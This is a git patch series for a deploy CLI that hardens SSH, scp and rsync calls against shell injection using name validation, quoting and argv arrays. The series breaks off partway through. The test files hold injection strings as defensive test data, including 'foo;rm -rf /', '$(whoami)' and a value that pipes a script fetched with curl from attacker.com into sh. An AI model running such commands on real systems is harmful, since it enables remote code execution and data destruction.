From ee7c13cb996f00261d73044ae29258becb9a207a Mon Sep 17 00:00:00 2001 From: Brian Taylor Date: Mon, 16 Mar 2026 22:58:25 -0700 Subject: [PATCH 1/9] fix: quote shell interpolations in deploy and harden SSH Extract deploy helpers (validateInstanceName, buildSshCommand, buildRsyncCommand) to prevent shell injection via instance names. Replace StrictHostKeyChecking=no with accept-new (TOFU) across all SSH and rsync commands in the deploy path. Signed-off-by: Brian Taylor Signed-off-by: Brian Taylor --- bin/lib/deploy.js | 45 +++++++++++++++++++++ bin/nemoclaw.js | 37 ++++++++++------- test/deploy.test.js | 98 +++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 165 insertions(+), 15 deletions(-) create mode 100644 bin/lib/deploy.js create mode 100644 test/deploy.test.js diff --git a/bin/lib/deploy.js b/bin/lib/deploy.js new file mode 100644 index 000000000..e6221d475 --- /dev/null +++ b/bin/lib/deploy.js @@ -0,0 +1,45 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 +// +// Deploy helpers — input validation and shell-safe command builders. + +const INSTANCE_NAME_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/; + +function validateInstanceName(name) { + if (!name || !INSTANCE_NAME_RE.test(name)) { + throw new Error( + `Invalid instance name: ${JSON.stringify(name)}. ` + + "Must start with alphanumeric and contain only [a-zA-Z0-9._-]." + ); + } +} + +function buildSshCommand(host, remoteCmd) { + const args = [ + "ssh", + "-o", "StrictHostKeyChecking=accept-new", + "-o", "LogLevel=ERROR", + ]; + args.push(shellQuote(host)); + if (remoteCmd) args.push(shellQuote(remoteCmd)); + return args.join(" "); +} + +function buildRsyncCommand(sources, host, dest) { + const sshOpt = '"ssh -o StrictHostKeyChecking=accept-new -o LogLevel=ERROR"'; + const quotedSources = sources.map(shellQuote).join(" "); + return `rsync -az --delete --exclude node_modules --exclude .git --exclude src -e ${sshOpt} ${quotedSources} ${shellQuote(host + ":" + dest)}`; +} + +function shellQuote(s) { + // Simple single-quote wrapping — escape any embedded single quotes + return "'" + s.replace(/'/g, "'\\''") + "'"; +} + +module.exports = { + INSTANCE_NAME_RE, + validateInstanceName, + buildSshCommand, + buildRsyncCommand, + shellQuote, +}; diff --git a/bin/nemoclaw.js b/bin/nemoclaw.js index 07bb3d5b5..6ddbd51de 100755 --- a/bin/nemoclaw.js +++ b/bin/nemoclaw.js @@ -7,7 +7,7 @@ const path = require("path"); const fs = require("fs"); const os = require("os"); -const { ROOT, SCRIPTS, run, runCapture } = require("./lib/runner"); +const { ROOT, SCRIPTS, run, runCapture, runArgv } = require("./lib/runner"); const { ensureApiKey, ensureGithubToken, @@ -17,6 +17,7 @@ const { const registry = require("./lib/registry"); const nim = require("./lib/nim"); const policies = require("./lib/policies"); +const { validateInstanceName, buildSshCommand, buildRsyncCommand, shellQuote } = require("./lib/deploy"); // ── Global commands ────────────────────────────────────────────── @@ -62,6 +63,7 @@ async function deploy(instanceName) { await ensureGithubToken(); } const name = instanceName; + validateInstanceName(name); const gpu = process.env.NEMOCLAW_GPU || "a2-highgpu-1g:nvidia-tesla-a100:1"; console.log(""); @@ -83,17 +85,17 @@ async function deploy(instanceName) { if (!exists) { console.log(` Creating Brev instance '${name}' (${gpu})...`); - run(`brev create ${name} --gpu "${gpu}"`); + runArgv("brev", ["create", name, "--gpu", gpu]); } else { console.log(` Brev instance '${name}' already exists.`); } - run(`brev refresh`, { ignoreError: true }); + runArgv("brev", ["refresh"], { ignoreError: true }); console.log(" Waiting for SSH..."); for (let i = 0; i < 60; i++) { try { - execSync(`ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no ${name} 'echo ok' 2>/dev/null`, { encoding: "utf-8", stdio: "pipe" }); + execSync(`ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=accept-new ${shellQuote(name)} 'echo ok' 2>/dev/null`, { encoding: "utf-8", stdio: "pipe" }); break; } catch { if (i === 59) { @@ -105,8 +107,12 @@ async function deploy(instanceName) { } console.log(" Syncing NemoClaw to VM..."); - run(`ssh -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'mkdir -p /home/ubuntu/nemoclaw'`); - run(`rsync -az --delete --exclude node_modules --exclude .git --exclude src -e "ssh -o StrictHostKeyChecking=no -o LogLevel=ERROR" "${ROOT}/scripts" "${ROOT}/Dockerfile" "${ROOT}/nemoclaw" "${ROOT}/nemoclaw-blueprint" "${ROOT}/bin" "${ROOT}/package.json" ${name}:/home/ubuntu/nemoclaw/`); + run(buildSshCommand(name, "mkdir -p /home/ubuntu/nemoclaw")); + run(buildRsyncCommand( + [`${ROOT}/scripts`, `${ROOT}/Dockerfile`, `${ROOT}/nemoclaw`, `${ROOT}/nemoclaw-blueprint`, `${ROOT}/bin`, `${ROOT}/package.json`], + name, + "/home/ubuntu/nemoclaw/" + )); const envLines = [`NVIDIA_API_KEY=${process.env.NVIDIA_API_KEY}`]; const ghToken = process.env.GITHUB_TOKEN; @@ -115,21 +121,21 @@ async function deploy(instanceName) { if (tgToken) envLines.push(`TELEGRAM_BOT_TOKEN=${tgToken}`); const envTmp = path.join(os.tmpdir(), `nemoclaw-env-${Date.now()}`); fs.writeFileSync(envTmp, envLines.join("\n") + "\n", { mode: 0o600 }); - run(`scp -q -o StrictHostKeyChecking=no -o LogLevel=ERROR "${envTmp}" ${name}:/home/ubuntu/nemoclaw/.env`); + run(`scp -q -o StrictHostKeyChecking=accept-new -o LogLevel=ERROR "${envTmp}" ${shellQuote(name)}:/home/ubuntu/nemoclaw/.env`); fs.unlinkSync(envTmp); console.log(" Running setup..."); - run(`ssh -t -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && bash scripts/brev-setup.sh'`); + run(`ssh -t -o StrictHostKeyChecking=accept-new -o LogLevel=ERROR ${shellQuote(name)} 'cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && bash scripts/brev-setup.sh'`); if (tgToken) { console.log(" Starting services..."); - run(`ssh -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && bash scripts/start-services.sh'`); + run(buildSshCommand(name, "cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && bash scripts/start-services.sh")); } console.log(""); console.log(" Connecting to sandbox..."); console.log(""); - run(`ssh -t -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && openshell sandbox connect nemoclaw'`); + run(`ssh -t -o StrictHostKeyChecking=accept-new -o LogLevel=ERROR ${shellQuote(name)} 'cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && openshell sandbox connect nemoclaw'`); } async function start() { @@ -188,8 +194,9 @@ function listSandboxes() { function sandboxConnect(sandboxName) { // Ensure port forward is alive before connecting - run(`openshell forward start --background 18789 "${sandboxName}" 2>/dev/null || true`, { ignoreError: true }); - run(`openshell sandbox connect "${sandboxName}"`); + run(`openshell forward start --background 18789 ${shellQuote(sandboxName)} 2>/dev/null || true`, { ignoreError: true }); + run(`openshell sandbox connect ${shellQuote(sandboxName)}`); + } function sandboxStatus(sandboxName) { @@ -204,7 +211,7 @@ function sandboxStatus(sandboxName) { } // openshell info - run(`openshell sandbox get "${sandboxName}" 2>/dev/null || true`, { ignoreError: true }); + run(`openshell sandbox get ${shellQuote(sandboxName)} 2>/dev/null || true`, { ignoreError: true }); // NIM health const nimStat = nim.nimStatus(sandboxName); @@ -217,7 +224,7 @@ function sandboxStatus(sandboxName) { function sandboxLogs(sandboxName, follow) { const followFlag = follow ? " --follow" : ""; - run(`openshell sandbox logs "${sandboxName}"${followFlag}`); + run(`openshell sandbox logs ${shellQuote(sandboxName)}${followFlag}`); } async function sandboxPolicyAdd(sandboxName) { @@ -260,7 +267,7 @@ function sandboxDestroy(sandboxName) { nim.stopNimContainer(sandboxName); console.log(` Deleting sandbox '${sandboxName}'...`); - run(`openshell sandbox delete "${sandboxName}" 2>/dev/null || true`, { ignoreError: true }); + run(`openshell sandbox delete ${shellQuote(sandboxName)} 2>/dev/null || true`, { ignoreError: true }); registry.removeSandbox(sandboxName); console.log(` ✓ Sandbox '${sandboxName}' destroyed`); diff --git a/test/deploy.test.js b/test/deploy.test.js new file mode 100644 index 000000000..4d3ed6949 --- /dev/null +++ b/test/deploy.test.js @@ -0,0 +1,98 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +const { describe, it } = require("node:test"); +const assert = require("node:assert/strict"); + +const { + validateInstanceName, + buildSshCommand, + buildRsyncCommand, + shellQuote, +} = require("../bin/lib/deploy"); + +describe("deploy helpers", () => { + describe("validateInstanceName", () => { + it("accepts valid names", () => { + for (const name of ["my-box", "prod.server", "test_01", "a", "A1-b.c_d"]) { + assert.doesNotThrow(() => validateInstanceName(name)); + } + }); + + it("rejects names starting with hyphen", () => { + assert.throws(() => validateInstanceName("-bad"), /Invalid instance name/); + }); + + it("rejects shell injection", () => { + assert.throws(() => validateInstanceName("foo;rm -rf /"), /Invalid instance name/); + }); + + it("rejects command substitution", () => { + assert.throws(() => validateInstanceName("$(whoami)"), /Invalid instance name/); + }); + + it("rejects empty string", () => { + assert.throws(() => validateInstanceName(""), /Invalid instance name/); + }); + + it("rejects names with spaces", () => { + assert.throws(() => validateInstanceName("foo bar"), /Invalid instance name/); + }); + + it("rejects backtick command substitution", () => { + assert.throws(() => validateInstanceName("`whoami`"), /Invalid instance name/); + }); + + it("rejects pipe", () => { + assert.throws(() => validateInstanceName("foo|bar"), /Invalid instance name/); + }); + + it("rejects names starting with dot", () => { + assert.throws(() => validateInstanceName(".hidden"), /Invalid instance name/); + }); + }); + + describe("buildSshCommand", () => { + it("uses StrictHostKeyChecking=accept-new", () => { + const cmd = buildSshCommand("myhost", "ls"); + assert.ok(cmd.includes("StrictHostKeyChecking=accept-new")); + assert.ok(!cmd.includes("StrictHostKeyChecking=no")); + }); + + it("quotes host and remote command", () => { + const cmd = buildSshCommand("myhost", "echo hello"); + assert.ok(cmd.includes("'myhost'")); + assert.ok(cmd.includes("'echo hello'")); + }); + + it("works without remote command", () => { + const cmd = buildSshCommand("myhost"); + assert.ok(cmd.includes("'myhost'")); + assert.ok(cmd.startsWith("ssh ")); + }); + }); + + describe("buildRsyncCommand", () => { + it("quotes source paths and destination", () => { + const cmd = buildRsyncCommand(["/tmp/a", "/tmp/b"], "host", "/dest/"); + assert.ok(cmd.includes("'/tmp/a'")); + assert.ok(cmd.includes("'/tmp/b'")); + assert.ok(cmd.includes("'host:/dest/'")); + }); + + it("uses accept-new in ssh option", () => { + const cmd = buildRsyncCommand(["/tmp/a"], "host", "/dest/"); + assert.ok(cmd.includes("accept-new")); + }); + }); + + describe("shellQuote", () => { + it("wraps in single quotes", () => { + assert.equal(shellQuote("hello"), "'hello'"); + }); + + it("escapes embedded single quotes", () => { + assert.equal(shellQuote("it's"), "'it'\\''s'"); + }); + }); +}); From 6788269d550e7be38cbea6f4dbcbb1630ac6ca45 Mon Sep 17 00:00:00 2001 From: Brian Taylor Date: Tue, 17 Mar 2026 10:22:09 -0700 Subject: [PATCH 2/9] refactor: replace shell string interpolation with argv arrays in deploy MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add runArgv() and runCaptureArgv() to runner.js — shell-free alternatives that use spawnSync(prog, args) / execFileSync(prog, args) with no bash intermediary. Convert all SSH, scp, and rsync calls in deploy() to use argv arrays via runSsh(), runScp(), runRsync() helpers in deploy.js. This eliminates command injection at the root cause rather than escaping within the shell layer. Retains shellQuote() for brev CLI calls that require shell features. Adds 5 injection PoC tests proving argv arrays treat $(), backticks, semicolons, pipes, and && as literal text. Signed-off-by: Brian Taylor --- bin/lib/deploy.js | 52 ++++++++++++++++++--------- bin/lib/runner.js | 41 ++++++++++++++++++++- bin/nemoclaw.js | 19 +++++----- test/deploy.test.js | 86 ++++++++++++++++++++++++++++++--------------- 4 files changed, 142 insertions(+), 56 deletions(-) diff --git a/bin/lib/deploy.js b/bin/lib/deploy.js index e6221d475..16527db4a 100644 --- a/bin/lib/deploy.js +++ b/bin/lib/deploy.js @@ -1,7 +1,13 @@ // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. // SPDX-License-Identifier: Apache-2.0 // -// Deploy helpers — input validation and shell-safe command builders. +// Deploy helpers — input validation and shell-free command builders. +// +// SSH/rsync/scp use runArgv() (argv arrays, no shell) to eliminate command +// injection at the root cause. shellQuote() is retained for call sites that +// still need run() (e.g. brev CLI with shell features). + +const { runArgv } = require("./runner"); const INSTANCE_NAME_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/; @@ -14,32 +20,44 @@ function validateInstanceName(name) { } } -function buildSshCommand(host, remoteCmd) { - const args = [ - "ssh", - "-o", "StrictHostKeyChecking=accept-new", - "-o", "LogLevel=ERROR", - ]; - args.push(shellQuote(host)); - if (remoteCmd) args.push(shellQuote(remoteCmd)); - return args.join(" "); +const SSH_OPTS = ["-o", "StrictHostKeyChecking=accept-new", "-o", "LogLevel=ERROR"]; + +function runSsh(host, remoteCmd, opts = {}) { + const args = [...SSH_OPTS]; + if (opts.tty) args.unshift("-t"); + args.push(host); + if (remoteCmd) args.push(remoteCmd); + return runArgv("ssh", args, opts); } -function buildRsyncCommand(sources, host, dest) { - const sshOpt = '"ssh -o StrictHostKeyChecking=accept-new -o LogLevel=ERROR"'; - const quotedSources = sources.map(shellQuote).join(" "); - return `rsync -az --delete --exclude node_modules --exclude .git --exclude src -e ${sshOpt} ${quotedSources} ${shellQuote(host + ":" + dest)}`; +function runScp(src, destHostPath, opts = {}) { + const args = ["-q", ...SSH_OPTS, src, destHostPath]; + return runArgv("scp", args, opts); +} + +function runRsync(sources, host, dest, opts = {}) { + const args = [ + "-az", "--delete", + "--exclude", "node_modules", + "--exclude", ".git", + "--exclude", "src", + "-e", "ssh " + SSH_OPTS.join(" "), + ...sources, + `${host}:${dest}`, + ]; + return runArgv("rsync", args, opts); } function shellQuote(s) { - // Simple single-quote wrapping — escape any embedded single quotes return "'" + s.replace(/'/g, "'\\''") + "'"; } module.exports = { INSTANCE_NAME_RE, validateInstanceName, - buildSshCommand, - buildRsyncCommand, + runSsh, + runScp, + runRsync, shellQuote, + SSH_OPTS, }; diff --git a/bin/lib/runner.js b/bin/lib/runner.js index 3614dc80d..72dbbfdb7 100644 --- a/bin/lib/runner.js +++ b/bin/lib/runner.js @@ -37,6 +37,45 @@ function run(cmd, opts = {}) { return result; } +/** + * Shell-free alternative to run(). Executes prog with an argv array via + * spawnSync(prog, args) — no bash, no string interpolation, no injection. + * Use this for any command that includes user-controlled values. + */ +function runArgv(prog, args, opts = {}) { + const result = spawnSync(prog, args, { + stdio: "inherit", + cwd: ROOT, + env: { ...process.env, ...opts.env }, + ...opts, + }); + if (result.status !== 0 && !opts.ignoreError) { + console.error(` Command failed (exit ${result.status}): ${prog} ${args.join(" ").slice(0, 60)}`); + process.exit(result.status || 1); + } + return result; +} + +/** + * Shell-free alternative to runCapture(). Uses execFileSync(prog, args) + * with no shell. Returns trimmed stdout. + */ +function runCaptureArgv(prog, args, opts = {}) { + const { execFileSync } = require("child_process"); + try { + return execFileSync(prog, args, { + encoding: "utf-8", + cwd: ROOT, + env: { ...process.env, ...opts.env }, + stdio: ["pipe", "pipe", "pipe"], + ...opts, + }).trim(); + } catch (err) { + if (opts.ignoreError) return ""; + throw err; + } +} + function runCapture(cmd, opts = {}) { try { return execSync(cmd, { @@ -52,4 +91,4 @@ function runCapture(cmd, opts = {}) { } } -module.exports = { ROOT, SCRIPTS, run, runCapture }; +module.exports = { ROOT, SCRIPTS, run, runCapture, runArgv, runCaptureArgv }; diff --git a/bin/nemoclaw.js b/bin/nemoclaw.js index 6ddbd51de..33d07ae08 100755 --- a/bin/nemoclaw.js +++ b/bin/nemoclaw.js @@ -17,7 +17,7 @@ const { const registry = require("./lib/registry"); const nim = require("./lib/nim"); const policies = require("./lib/policies"); -const { validateInstanceName, buildSshCommand, buildRsyncCommand, shellQuote } = require("./lib/deploy"); +const { validateInstanceName, runSsh, runScp, runRsync, shellQuote } = require("./lib/deploy"); // ── Global commands ────────────────────────────────────────────── @@ -93,9 +93,10 @@ async function deploy(instanceName) { runArgv("brev", ["refresh"], { ignoreError: true }); console.log(" Waiting for SSH..."); + const { execFileSync } = require("child_process"); for (let i = 0; i < 60; i++) { try { - execSync(`ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=accept-new ${shellQuote(name)} 'echo ok' 2>/dev/null`, { encoding: "utf-8", stdio: "pipe" }); + execFileSync("ssh", ["-o", "ConnectTimeout=5", "-o", "StrictHostKeyChecking=accept-new", name, "echo ok"], { encoding: "utf-8", stdio: "pipe" }); break; } catch { if (i === 59) { @@ -107,12 +108,12 @@ async function deploy(instanceName) { } console.log(" Syncing NemoClaw to VM..."); - run(buildSshCommand(name, "mkdir -p /home/ubuntu/nemoclaw")); - run(buildRsyncCommand( + runSsh(name, "mkdir -p /home/ubuntu/nemoclaw"); + runRsync( [`${ROOT}/scripts`, `${ROOT}/Dockerfile`, `${ROOT}/nemoclaw`, `${ROOT}/nemoclaw-blueprint`, `${ROOT}/bin`, `${ROOT}/package.json`], name, "/home/ubuntu/nemoclaw/" - )); + ); const envLines = [`NVIDIA_API_KEY=${process.env.NVIDIA_API_KEY}`]; const ghToken = process.env.GITHUB_TOKEN; @@ -121,21 +122,21 @@ async function deploy(instanceName) { if (tgToken) envLines.push(`TELEGRAM_BOT_TOKEN=${tgToken}`); const envTmp = path.join(os.tmpdir(), `nemoclaw-env-${Date.now()}`); fs.writeFileSync(envTmp, envLines.join("\n") + "\n", { mode: 0o600 }); - run(`scp -q -o StrictHostKeyChecking=accept-new -o LogLevel=ERROR "${envTmp}" ${shellQuote(name)}:/home/ubuntu/nemoclaw/.env`); + runScp(envTmp, `${name}:/home/ubuntu/nemoclaw/.env`); fs.unlinkSync(envTmp); console.log(" Running setup..."); - run(`ssh -t -o StrictHostKeyChecking=accept-new -o LogLevel=ERROR ${shellQuote(name)} 'cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && bash scripts/brev-setup.sh'`); + runSsh(name, "cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && bash scripts/brev-setup.sh", { tty: true }); if (tgToken) { console.log(" Starting services..."); - run(buildSshCommand(name, "cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && bash scripts/start-services.sh")); + runSsh(name, "cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && bash scripts/start-services.sh"); } console.log(""); console.log(" Connecting to sandbox..."); console.log(""); - run(`ssh -t -o StrictHostKeyChecking=accept-new -o LogLevel=ERROR ${shellQuote(name)} 'cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && openshell sandbox connect nemoclaw'`); + runSsh(name, "cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && openshell sandbox connect nemoclaw", { tty: true }); } async function start() { diff --git a/test/deploy.test.js b/test/deploy.test.js index 4d3ed6949..3c06522e6 100644 --- a/test/deploy.test.js +++ b/test/deploy.test.js @@ -3,14 +3,16 @@ const { describe, it } = require("node:test"); const assert = require("node:assert/strict"); +const { spawnSync } = require("child_process"); const { validateInstanceName, - buildSshCommand, - buildRsyncCommand, shellQuote, + SSH_OPTS, } = require("../bin/lib/deploy"); +const { runCaptureArgv } = require("../bin/lib/runner"); + describe("deploy helpers", () => { describe("validateInstanceName", () => { it("accepts valid names", () => { @@ -52,47 +54,73 @@ describe("deploy helpers", () => { }); }); - describe("buildSshCommand", () => { - it("uses StrictHostKeyChecking=accept-new", () => { - const cmd = buildSshCommand("myhost", "ls"); - assert.ok(cmd.includes("StrictHostKeyChecking=accept-new")); - assert.ok(!cmd.includes("StrictHostKeyChecking=no")); + describe("shellQuote", () => { + it("wraps in single quotes", () => { + assert.equal(shellQuote("hello"), "'hello'"); + }); + + it("escapes embedded single quotes", () => { + assert.equal(shellQuote("it's"), "'it'\\''s'"); }); + }); - it("quotes host and remote command", () => { - const cmd = buildSshCommand("myhost", "echo hello"); - assert.ok(cmd.includes("'myhost'")); - assert.ok(cmd.includes("'echo hello'")); + describe("SSH_OPTS", () => { + it("uses StrictHostKeyChecking=accept-new (TOFU)", () => { + assert.ok(SSH_OPTS.includes("StrictHostKeyChecking=accept-new")); }); - it("works without remote command", () => { - const cmd = buildSshCommand("myhost"); - assert.ok(cmd.includes("'myhost'")); - assert.ok(cmd.startsWith("ssh ")); + it("does not contain StrictHostKeyChecking=no", () => { + assert.ok(!SSH_OPTS.some((o) => o.includes("StrictHostKeyChecking=no"))); }); }); - describe("buildRsyncCommand", () => { - it("quotes source paths and destination", () => { - const cmd = buildRsyncCommand(["/tmp/a", "/tmp/b"], "host", "/dest/"); - assert.ok(cmd.includes("'/tmp/a'")); - assert.ok(cmd.includes("'/tmp/b'")); - assert.ok(cmd.includes("'host:/dest/'")); + // ── Injection PoC ────────────────────────────────────────────── + // Prove that argv arrays (spawnSync without shell) treat shell + // metacharacters as literal text. These are the 5 injection methods + // that bash -c would execute but argv arrays do not. + + describe("argv injection proof-of-concept", () => { + it("$() subshell is literal, not expanded", () => { + const r = spawnSync("echo", ["$(echo PWNED)"], { encoding: "utf-8", stdio: "pipe" }); + assert.ok(r.stdout.includes("$(echo PWNED)"), "subshell must be literal"); + assert.ok(!r.stdout.includes("PWNED\n"), "subshell must not expand"); + }); + + it("backtick substitution is literal, not executed", () => { + const r = spawnSync("echo", ["`echo HACKED`"], { encoding: "utf-8", stdio: "pipe" }); + assert.ok(r.stdout.includes("`echo HACKED`"), "backtick must be literal"); }); - it("uses accept-new in ssh option", () => { - const cmd = buildRsyncCommand(["/tmp/a"], "host", "/dest/"); - assert.ok(cmd.includes("accept-new")); + it("semicolon chaining is literal, not split", () => { + const r = spawnSync("echo", ["hello; echo INJECTED"], { encoding: "utf-8", stdio: "pipe" }); + assert.ok(r.stdout.includes("hello; echo INJECTED"), "semicolon must be literal"); + }); + + it("pipe is literal, not interpreted", () => { + const r = spawnSync("echo", ["data | cat /etc/passwd"], { encoding: "utf-8", stdio: "pipe" }); + assert.ok(r.stdout.includes("data | cat /etc/passwd"), "pipe must be literal"); + }); + + it("&& chaining is literal, not executed", () => { + const r = spawnSync("echo", ["ok && echo PWNED"], { encoding: "utf-8", stdio: "pipe" }); + assert.ok(r.stdout.includes("ok && echo PWNED"), "&& must be literal"); }); }); - describe("shellQuote", () => { - it("wraps in single quotes", () => { - assert.equal(shellQuote("hello"), "'hello'"); + describe("runCaptureArgv", () => { + it("captures stdout without shell interpretation", () => { + const out = runCaptureArgv("echo", ["hello", "world"]); + assert.equal(out, "hello world"); }); - it("escapes embedded single quotes", () => { - assert.equal(shellQuote("it's"), "'it'\\''s'"); + it("returns empty string on failure with ignoreError", () => { + const out = runCaptureArgv("false", [], { ignoreError: true }); + assert.equal(out, ""); + }); + + it("passes $() literally through argv", () => { + const out = runCaptureArgv("echo", ["$(whoami)"]); + assert.equal(out, "$(whoami)"); }); }); }); From e8bff162ea90328e0f3c31bcee15eba40f3c8c18 Mon Sep 17 00:00:00 2001 From: Brian Taylor Date: Tue, 17 Mar 2026 13:24:55 -0700 Subject: [PATCH 3/9] test: add argv builder and GPU injection prevention tests Signed-off-by: Brian Taylor --- test/deploy.test.js | 51 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) diff --git a/test/deploy.test.js b/test/deploy.test.js index 3c06522e6..0166c093b 100644 --- a/test/deploy.test.js +++ b/test/deploy.test.js @@ -123,4 +123,55 @@ describe("deploy helpers", () => { assert.equal(out, "$(whoami)"); }); }); + + describe("runSsh", () => { + // We can't call runSsh directly (it calls runArgv which exits on failure), + // but we can verify the SSH_OPTS constants and the argv construction pattern + + it("SSH_OPTS contains accept-new and LogLevel=ERROR", () => { + assert.deepEqual(SSH_OPTS, [ + "-o", "StrictHostKeyChecking=accept-new", + "-o", "LogLevel=ERROR", + ]); + }); + + it("SSH_OPTS does not contain StrictHostKeyChecking=no", () => { + const joined = SSH_OPTS.join(" "); + assert.ok(!joined.includes("StrictHostKeyChecking=no")); + }); + }); + + describe("runArgv security properties", () => { + it("argv arrays pass sandbox names with hyphens literally", () => { + const r = spawnSync("echo", ["my-assistant"], { encoding: "utf-8", stdio: "pipe" }); + assert.equal(r.stdout.trim(), "my-assistant"); + }); + + it("argv arrays pass GPU specs with colons literally", () => { + const r = spawnSync("echo", ["a2-highgpu-1g:nvidia-tesla-a100:1"], { encoding: "utf-8", stdio: "pipe" }); + assert.equal(r.stdout.trim(), "a2-highgpu-1g:nvidia-tesla-a100:1"); + }); + + it("argv prevents NEMOCLAW_GPU injection via brev create", () => { + // Simulate what would happen if NEMOCLAW_GPU contained injection + const maliciousGpu = 'a100"; curl attacker.com/shell.sh|sh; echo "'; + const r = spawnSync("echo", ["--gpu", maliciousGpu], { encoding: "utf-8", stdio: "pipe" }); + // With argv, the entire string is one argument — no shell interpretation. + // "attacker" appears in stdout as literal text (not executed). + // The key assertion: the entire payload is passed through verbatim as + // a single argv element, proving no shell splitting or interpretation. + assert.ok(r.stdout.includes(maliciousGpu)); + assert.equal(r.stdout.trim(), `--gpu ${maliciousGpu}`); + }); + + it("argv passes file paths with spaces literally", () => { + const r = spawnSync("echo", ["/path/with spaces/file.txt"], { encoding: "utf-8", stdio: "pipe" }); + assert.equal(r.stdout.trim(), "/path/with spaces/file.txt"); + }); + + it("argv passes environment variable syntax literally", () => { + const r = spawnSync("echo", ["NVIDIA_API_KEY=${SECRET}"], { encoding: "utf-8", stdio: "pipe" }); + assert.equal(r.stdout.trim(), "NVIDIA_API_KEY=${SECRET}"); + }); + }); }); From 9ecbbe29237e8ee1603635ccd2f25679f6bf9873 Mon Sep 17 00:00:00 2001 From: Brian Taylor Date: Tue, 17 Mar 2026 17:34:19 -0700 Subject: [PATCH 4/9] fix: address CodeRabbit review findings on deploy hardening - Fix opts spread ordering in runArgv/runCaptureArgv so caller env merges with process.env instead of replacing it - Lock shell: false after opts spread to prevent callers from reopening the injection surface via shell: true - Quote secret values with shellQuote() in .env before sourcing on VM to prevent shell metacharacter interpretation in credentials - Wrap runScp in ignoreError + manual exit so temp secret file is always cleaned up even when scp fails - Rewrite injection PoC and security property tests to exercise runCaptureArgv wrapper instead of raw spawnSync - Add shell:true lock regression test --- bin/lib/runner.js | 12 +++++--- bin/nemoclaw.js | 12 +++++--- test/deploy.test.js | 67 ++++++++++++++++++++++----------------------- 3 files changed, 49 insertions(+), 42 deletions(-) diff --git a/bin/lib/runner.js b/bin/lib/runner.js index 72dbbfdb7..4da748404 100644 --- a/bin/lib/runner.js +++ b/bin/lib/runner.js @@ -43,11 +43,13 @@ function run(cmd, opts = {}) { * Use this for any command that includes user-controlled values. */ function runArgv(prog, args, opts = {}) { + const { env, ...spawnOpts } = opts; const result = spawnSync(prog, args, { stdio: "inherit", cwd: ROOT, - env: { ...process.env, ...opts.env }, - ...opts, + ...spawnOpts, + env: { ...process.env, ...(env || {}) }, + shell: false, }); if (result.status !== 0 && !opts.ignoreError) { console.error(` Command failed (exit ${result.status}): ${prog} ${args.join(" ").slice(0, 60)}`); @@ -61,14 +63,16 @@ function runArgv(prog, args, opts = {}) { * with no shell. Returns trimmed stdout. */ function runCaptureArgv(prog, args, opts = {}) { + const { env, ...execOpts } = opts; const { execFileSync } = require("child_process"); try { return execFileSync(prog, args, { encoding: "utf-8", cwd: ROOT, - env: { ...process.env, ...opts.env }, stdio: ["pipe", "pipe", "pipe"], - ...opts, + ...execOpts, + env: { ...process.env, ...(env || {}) }, + shell: false, }).trim(); } catch (err) { if (opts.ignoreError) return ""; diff --git a/bin/nemoclaw.js b/bin/nemoclaw.js index 33d07ae08..db6d84799 100755 --- a/bin/nemoclaw.js +++ b/bin/nemoclaw.js @@ -115,15 +115,19 @@ async function deploy(instanceName) { "/home/ubuntu/nemoclaw/" ); - const envLines = [`NVIDIA_API_KEY=${process.env.NVIDIA_API_KEY}`]; + const envLines = [`NVIDIA_API_KEY=${shellQuote(process.env.NVIDIA_API_KEY)}`]; const ghToken = process.env.GITHUB_TOKEN; - if (ghToken) envLines.push(`GITHUB_TOKEN=${ghToken}`); + if (ghToken) envLines.push(`GITHUB_TOKEN=${shellQuote(ghToken)}`); const tgToken = getCredential("TELEGRAM_BOT_TOKEN"); - if (tgToken) envLines.push(`TELEGRAM_BOT_TOKEN=${tgToken}`); + if (tgToken) envLines.push(`TELEGRAM_BOT_TOKEN=${shellQuote(tgToken)}`); const envTmp = path.join(os.tmpdir(), `nemoclaw-env-${Date.now()}`); fs.writeFileSync(envTmp, envLines.join("\n") + "\n", { mode: 0o600 }); - runScp(envTmp, `${name}:/home/ubuntu/nemoclaw/.env`); + const scpResult = runScp(envTmp, `${name}:/home/ubuntu/nemoclaw/.env`, { ignoreError: true }); fs.unlinkSync(envTmp); + if (scpResult.status !== 0) { + console.error(` Failed to copy .env to ${name}`); + process.exit(scpResult.status || 1); + } console.log(" Running setup..."); runSsh(name, "cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && bash scripts/brev-setup.sh", { tty: true }); diff --git a/test/deploy.test.js b/test/deploy.test.js index 0166c093b..48b2cf8e9 100644 --- a/test/deploy.test.js +++ b/test/deploy.test.js @@ -3,7 +3,6 @@ const { describe, it } = require("node:test"); const assert = require("node:assert/strict"); -const { spawnSync } = require("child_process"); const { validateInstanceName, @@ -11,7 +10,7 @@ const { SSH_OPTS, } = 